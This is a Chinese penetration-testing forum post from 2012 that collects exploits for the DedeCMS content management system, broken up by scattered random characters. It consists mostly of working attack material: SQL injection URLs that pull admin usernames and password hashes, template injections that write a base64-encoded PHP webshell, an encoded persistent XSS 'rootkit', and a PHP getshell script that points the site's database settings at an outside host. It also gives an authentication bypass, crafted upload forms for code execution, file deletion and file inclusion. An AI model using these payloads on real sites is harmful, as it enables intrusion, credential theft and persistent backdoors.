中国网络渗透测试联盟

标题: dedecms漏洞总结 [打印本页]

---

作者: admin    时间: 2012-10-18 10:42
标题: dedecms漏洞总结

Dedecms 5.6 rss注入漏洞
http://www.test.com/plus/rss.php?tid=1&_Cs[][1]=1&_Cs[2))%20AND%20%22%27%22%20AND%20updatexml%281,%28SELECT CONCAT%280x5b,uname,0x3a,MID%28pwd,4,16%29,0x5d%29%20FROM%20dede_admin%29,1%29%23'][0]=1



# `" |- b. ]& q, `& T! Y# {/ C
' M( R# w, X4 E* q2 Z0 g
# C! B* f+ t) @! Y$ w

2 G" T2 c: m' x. N
DedeCms v5.6 嵌入恶意代码执行漏洞
注册会员，上传软件：本地地址中填入 a{/dede:link}{dede:toby57 name\="']=0;phpinfo();//"}x{/dede:toby57}
发表后查看或修改即可执行
8 a$ z% A: ], K: |2 K* sa{/dede:link}{dede:toby57 name\="']=0;fputs(fopen(base64_decode(eC5waHA),w),base64_decode(PD9waHAgZXZhbCgkX1BPU1RbeGlhb10pPz5iYWlkdQ));//"}x{/dede:toby57}
9 X- }) e) K# {! U生成x.php 密码xiao，直接生成一句话。
/ h( S( t3 u) r5 T" t8 f

  u* x5 o- o& X' X9 s" y# k
) W; R+ g4 ?- ~: e1 `9 c
. ~8 m. M8 m# E6 x+ }9 h
7 R& i0 Z2 }; B- Z  L2 P' I
2 E$ t" G  s( A! k: E
1 W6 a: G9 ^3 H, G. T4 C+ e3 p0 X
3 E5 S( \$ [2 d# F4 M/ pDede 5.6 GBK SQL注入漏洞
http://www.test.com//member/index.php?uid=''%20||%20''''%20||%20''%E6%B6%9B%E5%A3%B0%E4%BE%9D%E6%97%A7'';
http://www.test.com//member/index.php?uid=%E6%B6%9B%E5%A3%B0%E4%BE%9D%E6%97%A7WFXSSProbe
' F: [. k7 ^& z/ qhttp://www.test.com/member/index.php?uid=%E6%B6%9B%E5%A3%B0%E4%BE%9D%E6%97%A7

, R' p  O) j/ x. A' g

5 ^9 R% B7 R8 Z



+ O1 w- o1 v9 R$ h
DedeCms V5.6 plus/advancedsearch.php 任意sql语句执行漏洞
http://www.test.com/plus/advancedsearch.php?mid=1&sql=SELECT%20*%20FROM%20`%23@__admin`
; h8 F+ k  n  `

- i; ^8 x4 w2 h! G% F: i: B
- _3 V: t" j! ^; Y


- C6 V, Z! g# a3 J" l6 l" E1 _DEDECMS 全版本 gotopage变量XSS漏洞
1.复制粘贴下面的URL访问，触发XSS安装XSS ROOTKIT,注意IE8/9等会拦截URL类型的XSS漏洞，需关闭XSS筛选器。
http://v57.demo.dedecms.com/dede/login.php?gotopage="><script>eval(String.fromCharCode(80,101,114,115,105,115,116,101,110,99,101,95,100,97,116,97,61,39,34,62,60,115,99,114,105,112,116,62,97,108,101,114,116,40,47,120,115,115,32,114,111,111,116,107,105,116,33,47,41,60,47,115,99,114,105,112,116,62,60,120,61,34,39,59,32,13,10,118,97,114,32,100,97,116,101,61,110,101,119,32,68,97,116,101,40,41,59,13,10,118,97,114,32,101,120,112,105,114,101,68,97,121,115,61,51,54,53,59,32,13,10,100,97,116,101,46,115,101,116,84,105,109,101,40,100,97,116,101,46,103,101,116,84,105,109,101,40,41,43,101,120,112,105,114,101,68,97,121,115,42,50,52,42,51,54,48,48,42,49,48,48,48,41,59,13,10,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,61,39,103,111,116,111,112,97,103,101,61,39,43,80,101,114,115,105,115,116,101,110,99,101,95,100,97,116,97,43,39,59,101,120,112,105,114,101,115,61,39,43,100,97,116,101,46,116,111,71,77,84,83,116,114,105,110,103,40,41,59,13,10,97,108,101,114,116,40,39,88,115,115,32,82,111,111,116,107,105,116,32,73,110,115,116,97,108,108,32,83,117,99,99,101,115,115,102,117,108,32,33,33,33,33,39,41,59))</script><x="


2.关闭浏览器，无论怎么访问下面的任意URL，都会触发我们的XSS。
* r/ U1 B. C* q7 O) `% phttp://v57.demo.dedecms.com/dede/login.php?gotopage=dasdasdasda


http://v57.demo.dedecms.com/dede/login.php
& w2 w2 f& s+ P+ F

color=Red]DeDeCMS(织梦)变量覆盖getshell
#!usr/bin/php -w
+ e+ _8 C# y; J+ f4 H1 y% @2 n<?php
8 o' Z/ b  q/ O- `, l; {; Lerror_reporting(E_ERROR);
2 R8 B+ P! i( Y# ?- z( ^6 Fset_time_limit(0);
% s( v$ _( s5 _; x7 F9 u- o1 kprint_r('
DEDEcms Variable Coverage
Exploit Author: www.heixiaozi.comwww.webvul.com
);
% D# v) I0 z# O, E$ cecho "\r\n";
% M4 W" P: t$ Aif($argv[2]==null){
print_r('
+---------------------------------------------------------------------------+
Usage: php '.$argv[0].' url aid path
+ g9 t9 h) N' x4 A8 Aaid=1 shellpath /data/cache aid=2 shellpath= / aid=3 shellpath=/plus/
Example:
php '.$argv[0].' www.site.com 1 old
0 _  m/ I$ t( b( {, Z- \+---------------------------------------------------------------------------+
9 {1 V. V' w3 b');
exit;
}
# [: j7 P# a& H6 [+ L& ^4 P$url=$argv[1];
/ A+ z7 b) M% u* f5 i- c; T$aid=$argv[2];
- `& z! i6 v, H$path=$argv[3];
# V4 Z; i+ j# b+ E$exp=Getshell($url,$aid,$path);
2 K+ M/ H! x2 Y: ~" v# Zif (strpos($exp,"OK")>12){
echo "
, r  H7 ~9 R8 ], lExploit Success \n";
0 b0 [: b! x: R8 i* B/ Oif($aid==1)echo "
Shell:".$url."/$path/data/cache/fuck.php\n" ;

% g) @' `4 J! p3 l2 i! @
if($aid==2)echo "
Shell:".$url."/$path/fuck.php\n" ;

+ ]4 b8 u, Q! c% c! H9 q2 P
if($aid==3)echo "
Shell:".$url."/$path/plus/fuck.php\n";
5 Q' q0 _$ F: f$ ~, J, `
2 f. P7 ?& b" r$ s; Y1 C8 J
}else{
echo "
. d1 t6 d+ u3 k& ?* h- @Exploit Failed \n";
}
5 y+ L5 @" H. T; y1 [& x. V. w% vfunction Getshell($url,$aid,$path){
$id=$aid;
2 }; T7 [0 x8 K. a& ]$host=$url;
$port="80";
+ d2 W* `; c. B" U# P1 K5 H$ ]$content ="doaction=http%3A%2F%2F$host%2Fplus%2Fmytag_js.php%3Faid%3D1&_COOKIE%5BGLOBALS%5D%5Bcfg_dbhost%5D=184.105.174.114&_COOKIE%5BGLOBALS%5D%5Bcfg_dbuser%5D=exploit&_COOKIE%5BGLOBALS%5D%5Bcfg_dbpwd%5D=90sec&_COOKIE%5BGLOBALS%5D%5Bcfg_dbname%5D=exploit&_COOKIE%5BGLOBALS%5D%5Bcfg_dbprefix%5D=dede_&nocache=true&QuickSearchBtn=%CC%E1%BD%BB";
$data = "POST /$path/plus/mytag_js.php?aid=".$id." HTTP/1.1\r\n";
1 y/ O6 r# Q% s/ w$data .= "Host: ".$host."\r\n";
$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";
. p( l; W( t5 i) K6 `7 c+ s; b$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
$data .= "Accept-Language: zh-cn,zh;q=0.5\r\n";
1 {) }: V5 t; L4 H. {2 m//$data .= "Accept-Encoding: gzip,deflate\r\n";
4 I: o" d# [# R5 @. F+ x/ i" `$data .= "Accept-Charset: GB2312,utf-8;q=0.7,*;q=0.7\r\n";
$data .= "Connection: keep-alive\r\n";
$data .= "Content-Type: application/x-www-form-urlencoded\r\n";
$data .= "Content-Length: ".strlen($content)."\r\n\r\n";
$data .= $content."\r\n";
; h& t; T2 g* _$ock=fsockopen($host,$port);
if (!$ock) {
echo "
! I' D: F4 C' {. zNo response from ".$host."\n";
}
fwrite($ock,$data);
" p8 j+ T3 V  x: ~while (!feof($ock)) {
9 }' h# c8 Y6 z$exp=fgets($ock, 1024);
' z3 g- L/ {9 O. K$ t& n* Kreturn $exp;
( M3 G4 \8 V; e. I7 m}
}


?>
$ E: k5 @2 X5 k2 }! \
9 l" d( E6 R; ^+ I
; h! W1 w2 a( [8 C

3 Y6 x1 B: D' q


6 |7 T% Z+ C) U% }; T


! B# `* ^: u8 E. _# nDedeCms v5.6-5.7 越权访问漏洞(直接进入后台)
) X; y, {& w4 O4 b* s$ `% Lhttp://www.ssvdb.com/织梦网站后台/login.php?dopost=login&validate=dcug&userid=admin&pwd=inimda&_POST[GLOBALS][cfg_dbhost]=116.255.183.90&_POST[GLOBALS][cfg_dbuser]=root&_POST[GLOBALS][cfg_dbpwd]=r0t0&_POST[GLOBALS][cfg_dbname]=root
* H2 S( \7 Y6 S& y0 h' J& v# ]" k0 m" X
, ?; G. L2 \8 {: [9 Q; Y
把上面validate=dcug改为当前的验证码，即可直接进入网站后台


此漏洞的前提是必须得到后台路径才能实现







4 Q5 o% A$ ?2 `; u8 y2 U4 R
5 `/ P# P% U7 u1 P7 F0 Q' z

5 Y# e; ^% n$ m4 u, {! K: sDedecms织梦 标签远程文件写入漏洞
+ Z1 l4 }2 n# Y2 E- |4 C' z4 B前题条件，必须准备好自己的dede数据库，然后插入数据： insert into dede_mytag(aid,normbody) values(1,''{dede:php}$fp = @fopen("1.php", \''a\'');@fwrite($fp, \''\'');echo "OK";@fclose($fp);{/dede:php}'');
! M. o" }0 }; z) d& P

再用下面表单提交，shell 就在同目录下 1.php。原理自己研究。。。
<form action="" method="post" name="QuickSearch" id="QuickSearch">
/ g/ x3 Q2 a# ^* K: N- S<input type="text" value="http://www.tmdsb.com/plus/mytag_js.php?aid=1" name="doaction" style="width:400"><br />
; m3 i) r! M9 @3 s+ f<input type="text" value="dbhost" name="_COOKIE[GLOBALS][cfg_dbhost]" style="width:400"><br />
, a5 m* }6 @8 Z+ r; T( o<input type="text" value="dbuser" name="_COOKIE[GLOBALS][cfg_dbuser]" style="width:400"><br />
# K( Q* T. u4 S& M. E<input type="text" value="dbpwd" name="_COOKIE[GLOBALS][cfg_dbpwd]" style="width:400"><br />
# G! B* Z# C8 y( }0 l- E6 a<input type="text" value="dbname" name="_COOKIE[GLOBALS][cfg_dbname]" style="width:400"><br />
<input type="text" value="dede_" name="_COOKIE[GLOBALS][cfg_dbprefix]" style="width:400"><br />
( `* Z) p, l: J- j<input type="text" value="true" name="nocache" style="width:400">
<input type="submit" value="提交" name="QuickSearchBtn"><br />
</form>
/ x4 n2 K( X, P  I- m<script>
function addaction()
{
) K8 X( h3 b6 ~/ S% {0 r4 A1 }document.QuickSearch.action=document.QuickSearch.doaction.value;
2 N9 R' D" y" k7 H}
</script>

/ K1 G. N7 v' ?) L' L5 S( t+ m

7 ]# W- l% X0 k/ \6 x5 c

9 L  U. P! ^1 G9 H* s# b% e: ~1 D' i

% V8 j+ k4 R0 u+ X: ?' ?2 E


) {0 R: S$ a2 mDedeCms v5.6 嵌入恶意代码执行漏洞
$ ?" m/ F& _7 P4 Y1 S, [; Y注册会员，上传软件：本地地址中填入a{/dede:link}{dede:toby57 name\="']=0;phpinfo();//"}x{/dede:toby57}，发表后查看或修改即可执行
a{/dede:link}{dede:toby57 name\="']=0;fputs(fopen(base64_decode(eC5waHA),w),base64_decode(PD9waHAgZXZhbCgkX1BPU1RbeGlhb10pPz5iYWlkdQ));//"}x{/dede:toby57}
& ]# E. \3 m) n" t* M生成x.php 密码：xiao直接生成一句话。密码xiao 大家懂得
Dedecms <= V5.6 Final模板执行漏洞
3 f' z) Z! g1 j( q# g; @注册一个用户，进入用户管理后台，发表一篇文章，上传一个图片，然后在附件管理里，把图片替换为我们精心构造的模板，比如图片名称是：
uploads/userup/2/12OMX04-15A.jpg
0 {# c4 {. [* Q0 q9 @# Z  A

0 C& z6 h/ R9 a" w- w1 U模板内容是（如果限制图片格式，加gif89a）：
{dede:name runphp='yes'}
0 L. v  k" U4 c7 T+ _( k$fp = @fopen("1.php", 'a');
@fwrite($fp, '<'.'?php'."\r\n\r\n".'eval($_POST[cmd])'."\r\n\r\n?".">\r\n");
  O5 t% R" J: _/ T( J@fclose($fp);
{/dede:name}
7 d4 p2 |$ d! [2 修改刚刚发表的文章，查看源文件，构造一个表单：
<form class="mTB10 mL10 mR10" name="addcontent" id="addcontent" action="http://127.0.0.1/dede/member/article_edit.php" method="post" enctype="multipart/form-data">
* C  Q8 `, V' Z0 w/ {+ l, x<input type="hidden" name="dopost" value="save" />
<input type="hidden" name="aid" value="2" />
+ J. l( p9 H" }  U! d, x" w, ?<input type="hidden" name="idhash" value="f5f682c8d76f74e810f268fbc97ddf86" />
<input type="hidden" name="channelid" value="1" />
/ p+ E* D4 Y: C# \# T; ?; e6 w6 d. V<input type="hidden" name="oldlitpic" value="" />
( H& r! m2 n/ p# ^$ g( K<input type="hidden" name="sortrank" value="1275972263" />
2 S6 R4 X. r7 {3 m: y: G5 D

<div id="mainCp">
  W2 _/ T; H0 c  w<h3 class="meTitle"><strong>修改文章</strong></h3>
. t, J/ {# |% Q9 U3 A+ x: X

" l) \9 I; D+ ^: N" A<div class="postForm">
<label>标题：</label>
0 {, y# j& k, f/ f- I7 d<input name="title" type="text" id="title" value="11233ewsad" maxlength="100" class="intxt"/>
: T8 K  s0 G' I" i0 D( }3 k7 m9 y1 B
- m# k# `$ {1 E! _1 m+ B4 b
<label>标签TAG：</label>
<input name="tags" type="text" id="tags" value="hahah,test" maxlength="100" class="intxt"/>(用逗号分开)


2 R1 Q. H1 f7 {9 X<label>作者：</label>
<input type="text" name="writer" id="writer" value="test" maxlength="100" class="intxt" style="width:219px"/>


<label>隶属栏目：</label>
<select name='typeid' size='1'>
/ A" R( a1 S5 ~5 `$ J2 v% y9 B<option value='1' class='option3' selected=''>测试栏目</option>
</select> <span style="color:#F00">*</span>(不能选择带颜色的分类)


+ L$ m  t$ H$ ^$ ?, Q/ a" V+ D<label>我的分类：</label>
<select name='mtypesid' size='1'>
' T1 V' j- {. w6 }6 p: U<option value='0' selected>请选择分类...</option>
( |8 W% |- U. W<option value='1' class='option3' selected>hahahha</option>
</select>


5 C- s5 B3 T6 V( e$ S<label>信息摘要：</label>
" x( l- u: `7 g9 w$ R<textarea name="description" id="description">1111111</textarea>
(内容的简要说明)

2 l: K1 o5 ~4 W
6 [& t! j1 v3 k  ~7 y$ k<label>缩略图：</label>
0 H- e0 e0 T0 P7 k- C; n<input name="litpic" type="file" id="litpic" maxlength="100" class="intxt"/>
5 y& ?0 V; @  M. e6 d0 f
6 h' k; F+ F% R! ?1 {' {
<input type='text' name='templet'
value="../ uploads/userup/2/12OMX04-15A.jpg">
<input type='text' name='dede_addonfields'
value="templet,htmltext;">（这里构造）
</div>
5 ^) o3 j) P# M, w! V; g
" v: o% [: P6 S. s- d
<!-- 表单操作区域 -->
<h3 class="meTitle">详细内容</h3>
/ [3 S% g; Z( p' p: S3 u/ E- x

<div class="contentShow postForm">
7 o2 @/ U7 y8 B% Z) }) t<input type="hidden" id="body" name="body" value="<div><a href="http://127.0.0.1/dede/uploads/userup/2/12OMX04-15A.jpg" target="_blank"><img border="0" alt="" src="http://127.0.0.1/dede/uploads/userup/2/12OMX04-15A.jpg" width="1010" height="456" /></a></div> <p><?phpinfo()?>1111111</p>" style="display:none" /><input type="hidden" id="body___Config" value="FullPage=false" style="display:none" /><iframe id="body___Frame" src="/dede/include/FCKeditor/editor/fckeditor.html?InstanceName=body&Toolbar=Member" width="100%" height="350" frameborder="0" scrolling="no"></iframe>


9 N: W! e$ V/ z6 o8 [* _<label>验证码：</label>
<input name="vdcode" type="text" id="vdcode" maxlength="100" class="intxt" style='width:50px;text-transform:uppercase;' />
<img src="http://127.0.0.1 /dede/include/vdimgck.php" alt="看不清？点击更换" align="absmiddle" style="cursor:pointer" />

3 @- F- U+ v, [- A) {) @/ p. q
<button class="button2" type="submit">提交</button>
<button class="button2 ml10" type="reset">重置</button>
</div>

; @( `; P. _( {  Y; d5 r
8 g- T5 Y8 b/ `% Z" Z</div>
/ C) C- x. l5 p3 J" h7 u

& }' E: J% C& i) r, j) C5 r7 E/ W( x</form>
  Q! `% x1 m) a

提交，提示修改成功，则我们已经成功修改模板路径。 3 访问修改的文章：
8 \" g& V" q  D6 {0 ]假设刚刚修改的文章的aid为2，则我们只需要访问：
http://127.0.0.1/dede/plus/view.php?aid=2
即可以在plus目录下生成webshell：1.php




, P+ ?8 K  t/ W
; L! E! S6 F  r& o. y& {


" K' o7 l& Z/ H; P- v8 H  m; F  V/ G
3 p! G0 C! n3 I
1 ^1 \. Q$ N. R; z" X0 j- W7 M: X

DEDECMS网站管理系统Get Shell漏洞(5.3/5.6)
( ^. R, P: K' h* X% qGif89a{dede:field name='toby57' runphp='yes'}
6 y, ^% J) @& d4 X+ U! l' Wphpinfo();
{/dede:field}
保存为1.gif
  L" r9 k( p. S( L) [! L  M<form action="http://192.168.1.5/DedeCmsV5.6-GBK-Final/uploads/member/uploads_edit.php" method="post" enctype="multipart/form-data" ">
<input type="hidden" name="aid" value="7" />
* B  G  e6 {/ B7 |9 {4 v<input type="hidden" name="mediatype" value="1" />
<input type="text" name="oldurl" value="/DedeCmsV5.6-GBK-Final/uploads/uploads/userup/3/1.gif" /></br>
<input type="hidden" name="dopost" value="save" />
3 o* z. c& J- q# g  n<input name="title" type="hidden" id="title" value="1.jpg" class="intxt"/>
/ r, o( b- N6 d9 l0 e8 F7 p% @<input name="addonfile" type="file" id="addonfile"/>
4 I1 u/ l' p6 T$ d<button class="button2" type="submit" >更改</button>
* A8 \8 ~! q/ Z, d. ~</form>


  ]# A7 B1 d2 j' X) L* r* E3 y" J构造如上表单，上传后图片保存为/uploads/userup/3/1.gif
发表文章，然后构造修改表单如下：
3 k0 B/ ]2 T( l/ G4 C& {2 |, C) n
" [% W2 Q. n; [, r. z
. a* S, b1 [9 W" c' n  G<form action="http://192.168.1.5/DedeCmsV5.6-GBK-Final/uploads/member/article_edit.php" method="post" enctype="multipart/form-data">
! ]( w1 Q' Z) t, ^1 S% x% o<input type="hidden" name="dopost" value="save" />
8 i( }& M/ A/ C2 f1 H( p" s6 d<input type="hidden" name="aid" value="2" />
! ]7 B3 r( w% P% O5 ~  v<input type="hidden" name="idhash" value="ec66030e619328a6c5115b55483e8dbd" />
<input type="hidden" name="channelid" value="1" />
<input type="hidden" name="oldlitpic" value="" />
% s2 W0 F4 y9 C: k& A: ^<input type="hidden" name="sortrank" value="1282049150" />
<input name="title" type="text" id="title" value="aaaaaaaaaaaaaaa" maxlength="100" class="intxt"/>
<input type="text" name="writer" id="writer" value="123456" maxlength="100" class="intxt" style="width:219px"/>
<select name='typeid' size='1'>
. }6 y0 l( R0 ~$ K0 W7 {<option value='1' class='option3' selected=''>Test</option>
! i, `) a& U) T- o& `. N  o<select name='mtypesid' size='1'>
* J: f5 f' @5 c6 ~, \; g3 m<option value='0' selected>请选择分类...</option>
( }- n% G9 m0 ]# s8 z% j<option value='1' class='option3' selected>aa</option></select>
; A) b4 _) C9 ~<textarea name="description" id="description">aaaaaaaaaaaaa</textarea>
<input type='hidden' name='dede_addonfields' value="templet">
<input type='hidden' name='templet' value="../uploads/userup/3/1.gif">
<input type="hidden" id="body" name="body" value="aaaa" style="display:none" />
<button class="button2" type="submit">提交</button>
</form>
' k. X) Q+ T5 x! b
9 ~. j6 R% N5 j$ w  W) w



6 `+ D# P2 L) y- f
9 b' S3 Z6 W- w  a
, y3 H2 z# e6 i9 s' P; Q+ J4 i



1 R, `% o3 o4 ]2 L! L; S$ y
织梦(Dedecms)V5.6 远程文件删除漏洞
  j9 D( |7 W# |' C7 ], t7 |http://test.com/member/edit_face.php?dopost=delold&oldface=/uploads/userup/8/../../../member/templets/images/m_logo.gif
5 l$ \% j; I1 d* ]* d

& n& F6 K( ]9 `( o. ]4 l: I* K

8 i1 J5 R; V, R# M$ b
. `2 |7 s/ }: G6 Y8 \1 b. T6 V

9 H* }: r, c  }2 G8 ~/ [" v  h


8 b+ R$ ~% j8 Y; E+ x织梦(Dedecms) V5.6 plus/carbuyaction.php 本地文件包含漏洞
: z: ?# S7 U' l) w- ], Q, v6 jhttp://www.test.com/plus/carbuya ... urn&code=../../
8 F% u- I; |" H5 d
' r! R4 C- j, H, U" Z1 |; D


: T, M& M; G5 j+ K+ X9 D$ L( a3 d



! k" t1 @2 S' B8 K7 A

  \, L# a) w, ]DedeCms V5.6 plus/advancedsearch.php 任意sql语句执行漏洞
0 P/ ^1 D/ T6 fplus/advancedsearch.php?mid=1&sql=SELECT%20*%20FROM%20`%23@__admin`
密码是32位MD5减去头5位，减去尾七位，得到20 MD5密码，方法是，前减3后减1，得到16位MD5
8 q3 N9 P1 d$ e5 j  P8 n
; c6 ~" l+ }* C! G4 S

7 M! v# Q+ j+ L  \& M; k
* ?3 Q# Y/ P" v3 @+ ~" p' k: b5 X
/ \* |( V( K8 {. ^( M/ h

1 L7 I/ W- J' z4 V2 C  D; \+ e
  ]: |1 m8 Z& P0 U4 u* s
$ J2 y1 e# v+ V! T8 N
- G7 G" ^7 ~$ J织梦(Dedecms) 5.1 feedback_js.php 注入漏洞
$ q: W/ p& ?) J# P# o- Thttp://st0p/dedecms51/plus/feedback_js.php?arcurl=' union select "' and 1=2 union select 1,1,1,userid,3,1,3,3,pwd,1,1,3,1,1,1,1,1 from dede_admin where 1=1 union select * from dede_feedback where 1=2 and ''='" from dede_admin where ''='

4 E: t% ?$ P) |' |
( E+ ~  A2 z. E( Q. P2 j/ f" h

8 _) m# b% ^0 a7 j! I; a/ Q1 t
4 ]- i! G5 {+ s: T: R9 O
( m" ]- Z. M5 _3 Y6 O

3 i6 T# k9 Y5 a5 E2 `4 Y* a5 X& g
+ d0 ?, |( I5 [4 e
' P8 [  t) C: ]- A6 N织梦(Dedecms)select_soft_post.php页面变量未初始漏洞
<html>
<head>
<title>Dedecms v55 RCE Exploit Codz By flyh4t</title>
</head>
& b( `( }9 z0 a5 u( x<body style="FONT-SIZE: 9pt">
# y3 ], Q5 z0 \---------- Dedecms v55 RCE Exploit Codz By flyh4t---------- <br /><br />
, {# L2 \- W+ O8 |<form action=http://www.nuanyue.com/uploads/include/dialog/select_soft_post.php method='POST' enctype="multipart/form-data" name='myform'>
* Q0 F- [" T  w' E* `1 @4 O" R<input type='hidden' name='activepath' value='/data/cache/' />
5 s0 t" T, P+ k: ~/ F# ?8 @<input type='hidden' name='cfg_basedir' value='../../' />
<input type='hidden' name='cfg_imgtype' value='php' />
) Z" i& I, L  J  C% H% q<input type='hidden' name='cfg_not_allowall' value='txt' />
/ m" [. L/ Q) }+ q  E<input type='hidden' name='cfg_softtype' value='php' />
/ K" k4 J  v1 i1 f! z8 y- A<input type='hidden' name='cfg_mediatype' value='php' />
2 c, b8 V$ z. g, ^6 ~% g<input type='hidden' name='f' value='form1.enclosure' />
<input type='hidden' name='job' value='upload' />
# G' G2 M/ K4 K" T# K<input type='hidden' name='newname' value='fly.php' />
Select U Shell <input type='file' name='uploadfile' size='25' />
<input type='submit' name='sb1' value='确定' />
</form>
1 C4 P6 j$ g) v7 V4 r  \1 \<br />It's just a exp for the bug of Dedecms V55...<br />
; P7 L- Q0 w1 I3 C6 [2 UNeed register_globals = on...<br />
Fun the game,get a webshell at /data/cache/fly.php...<br />
! I& ~6 l. F0 T" W* v: h</body>
</html>
4 ^% T/ l$ m/ P3 B' ]" k9 c
" R3 z' F$ d2 H  z
) y0 G+ {5 V) t+ _5 m




9 S! a; u$ O- b  o5 d


织梦(dedecms)5.3 – 5.5 plus/digg_frame.php 注入漏洞
利用了MySQL字段数值溢出引发错误和DEDECMS用PHP记录数据库错误信息并且文件头部没有验证的漏洞。
1. 访问网址：
0 J8 ^8 u9 y! r; Y9 B6 z4 `  A4 Qhttp://www.abc.com/plus/digg_fra ... 024%651024&mid=*/eval($_POST[x]);var_dump(3);?>
可看见错误信息


% {3 Q+ p& z  w/ d2. 访问 http://www.abc.com/data/mysql_error_trace.php 看到以下信息证明注入成功了。
int(3) Error: Illegal double '1024e1024' value found during parsing
. M. A+ j% e! p: z0 fError sql: Select goodpost,badpost,scores From `gxeduw_archives` where id=1024e1024 limit 0,1; */ ?>
! W' z6 d: I+ c# z4 p
+ x8 h! a- u" S' F6 [. N, t% K
' m: w" a( E2 [7 l2 A2 O# Y3. 执行dede.rar里的文件 test.html，注意 form 中 action 的地址是
+ i2 s8 W+ w) z& s, M& Y; Y! M
' ?9 }6 Y9 b1 x. h5 D
<form action=”http://www.abc.com/data/mysql_error_trace.php” enctype=”application/x-www-form-urlencoded” method=”post”>

" i& C6 X# X/ P2 {: E
5 P7 i4 ^4 m5 K8 @) \! J按确定后的看到第2步骤的信息表示文件木马上传成功.
, w+ q  g: ~$ n6 ]9 L


: T7 X; Z2 t! U# ^
/ l+ U6 X9 |; {. V2 O% i. e9 p5 {
! c& q( ^9 e1 H# u1 }! y7 B



2 D& }6 c) M" X# c: s2 b$ h3 L

9 s' {) ~/ @" L% |- x1 U* R
! o1 s. Q7 I( Z) B( \; g织梦(DedeCms)plus/infosearch.php 文件注入漏洞
http://localhost/plus/infosearch.php?action=search&q=%cf'%20union%20select%201,2,userid,4,pwd,6%20from%20dede_admin/*

---

欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)

Powered by Discuz! X3.2